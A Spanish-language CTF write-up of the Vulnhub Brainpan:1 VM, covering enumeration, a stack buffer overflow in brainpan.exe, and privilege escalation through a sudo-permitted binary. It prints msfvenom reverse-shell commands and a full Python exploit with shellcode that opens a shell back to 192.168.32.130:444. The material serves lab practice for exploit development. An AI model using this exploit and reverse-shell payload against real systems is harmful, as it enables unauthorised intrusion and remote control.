Vulnhub — Brainpan:1 VM Writeup

Israel Aráoz Severiche
6 min readJun 1, 2019

--

Primer maquina de vulnhub que tiene incluido un BoF (Stack based over flown ) Vainilla (Sin protección DEP,ASLR,Stack Canaries) , esta es una de esas maquinas “like oscp” que me recomendaron practicar, y pues aqui esta el paso a paso.

Primero identifique la dirección asignada por DHCP

nmap -sC -sV -A -p- -oN machine.nmap 192.168.32.137

En el puerto 9999, encontré este servicio:

En el puerto 10000 encontré con esto :

Index puerto 10000

seguí con el proceso de enumeración.

dirb http://192.168.32.137

en el directorio /bin/ encontré un binario, el cual fue descargado.

Un ejecutable:

Para esto llevé el binario a un Windows7 x86 ,inicie el binario el cual abre el puerto 9999, mismo puerto abierto en la maquina vulnerable.

Al conectar desde linux hacia la maquina windows donde se esta ejecutando el binario aparece

Welcome to Brainpan

Realice un par de pruebas enviando una cantidad de caracteres como parámetro y ver como reacciona el binario.


python -c 'print "A" * 200' | telnet 192.168.32.139 9999
python -c 'print "A" * 2000' | telnet 192.168.32.139 9999

Al enviarle una cadena de caracteres de 2 mil , el binario dejo de funcionar

Abrí Immunity y volví a ejecutar el binario, en Immunity presionando

Alt+F3 y buscando el nombre del proceso que se encuentra en ejecución.

Doble clic o “attach” y luego F9, volví a recrear el paso enviado 2000 bytes pero esta vez observando el stack y registros y como reaccionó el binario.

Efectivamente enviando 2000 byte se sobre-escribe la dirección de memoria a la cual apunta el registro EIP. Logrando sobre-escribir con 41414141 (AAAA)

Siguiendo el proceso de desarrollo de exploit :

Proceso de escritura de exploit:

Buscar el Crash en el binario

Controlar EIP

Determinar la cantidad de byte para sobre-escribir la dirección que apunta EIP

Determinar el espacio en byte para situar la shellcode

Seleccionar y probar una shellcode

Construir el exploit (borrador)

Eliminar caracteres “malos” (Caracteres que se encuentre en medio del shellcode, que el programa interpretara de tal forma que corte la ejecución del shellcode)

Nota: Bueno si no es el proceso correcto, un comentario permitirá corregir.

Cree una estructura básica para este tipo de exploit.

Primero se generó una cadena de caracteres que no se repiten, se puede hacer con mona.py o metasploit-framework

!mona pc 2000/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2......
Sobre-escrbieindo EIP

Una vez enviada la cadena de caracteres, debemos buscar 35724134 , fue el patrón de caracteres que sobre-escribió la dirección de memoria donde apuntaba EIP


/usr/share/metasploit-framework/tools/exploit/pattern_offset -q 3572413

Necesite 524 para sobre-escribir la dirección de EIP, reinicie la aplicación y F9 de nuevo en immunity (Si, así es todo el tiempo jejee).

Utilizando el estilo jmp esp (mero estilo windows)

Una vez controlado EIP es necesario buscar una dirección de memoria que apunto a la instrucción “jmp esp”.

Tenemos dos opciones:

!mona jmp -r esp -m brainpan.exe
jmp esp

Es importante saber si los módulos del binario (dlls , propias) tienen protección contra explotación, incluso el mismo binario, para eso verifique

!mona modules

El binario no cuenta con dlls propias, y tampoco esta protegido contra explotación (mitigación), Verifique agregando un breakpoint en la dirección de memoria 0x311712f3 para corroborar que salte hasta esa dirección nuestro payload.

Buscando caracteres “malos” (Bad characters)

Se denominan “Bad Characters” a caracteres que pueden interrumpir la ejecución de una shellcode.

Generamos el bytearray el cual contiene los caracteres malos y el binario contra el comparamos, identifique los bad characters

!mona bytearray

Copiamos todo ese array generando con moma.py y enviamos a la aplicación para ver en el stack y si se copio de forma completa o de manera parcial

Bad Charaters

Luego de enviar, realizamos la comparación en el stack desde la dirección de memoria donde se copia los badchars “\x00\x01 … hasta \xff”.

!mona compare -f C:\logs\brainpan\bytearray.bin -a 0x0022FD60

al realizar la comparación, no se detecto nada en particular

Testeando la shellcode

Creamos la shellcode en formato python, por lo general siempre omito el caracter “null byte, \x00”

msfvenom -p windows/shell_reverse_tcp LPORT=444 LHOST=192.168.32.130 -b "\x00"

Cambie la shellcode para windows por una para linux

msfvenom -p linux/x86/shell_reverse_tcp LPORT=444 LHOST=192.168.32.130 -b "\x00"

quedando el exploit final de esta manera

import socket
import struct
brainpain_ip= "192.168.32.137"
brainpain_port = 9999
buffer = 2000
offset_to_eip= "A" * 524
nop= "\x90" * 10
eip = struct.pack('<L',0x311712f3) # jmp es | {PAGE_EXECUTE_READ} [brainpan.exe]
#msfvenom -p linux/x86/shell_reverse_tcp LPORT=444 LHOST=192.168.32.130 -f python -b "\x00"
buf = ""
buf += "\xda\xd1\xd9\x74\x24\xf4\x5a\xbe\xfe\xdf\xa7\xae\x33"
buf += "\xc9\xb1\x12\x31\x72\x17\x83\xc2\x04\x03\x8c\xcc\x45"
buf += "\x5b\x41\x28\x7e\x47\xf2\x8d\xd2\xe2\xf6\x98\x34\x42"
buf += "\x90\x57\x36\x30\x05\xd8\x08\xfa\x35\x51\x0e\xfd\x5d"
buf += "\xa2\x58\xdd\x1f\x4a\x9b\x1e\x1e\x37\x12\xff\x90\x21"
buf += "\x75\x51\x83\x1e\x76\xd8\xc2\xac\xf9\x88\x6c\x41\xd5"
buf += "\x5f\x04\xf5\x06\x8f\xb6\x6c\xd0\x2c\x64\x3c\x6b\x53"
buf += "\x38\xc9\xa6\x14"
padding = buffer - (len(offset_to_eip) + len(eip)+ len(buf)+len(nop))
padding = "C" * padding
payload = offset_to_eip + eip + nop + buf + padding
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((brainpain_ip,brainpain_port))
s.send(payload)
data = s.recv(len(payload))
s.close()
print data

ponemos un nc a la escucha , ejecutamos el exploit y ya tenemos acceso (low shell)

después de varios métodos de enumeración, se verifico los binarios que pueden ser ejecutados como root sin password.

Se ejecutó el comando para ver que parámetros solicita

Utilizando el parámetro manual (man) pude escalar de privilegios

cat b.txt

A propósito aquí les dejo un excelente enlace con muchas técnicas para escalar privilegios en linux

Saludos,

--

--

Israel Aráoz Severiche
Israel Aráoz Severiche

Written by Israel Aráoz Severiche

{💀Cybersecurity Engineer​​🐞 } / { 🥋​ Purple Belt Brazilian Jiu Jitsu } / {🌐​https://twitter.com/iara0z}

No responses yet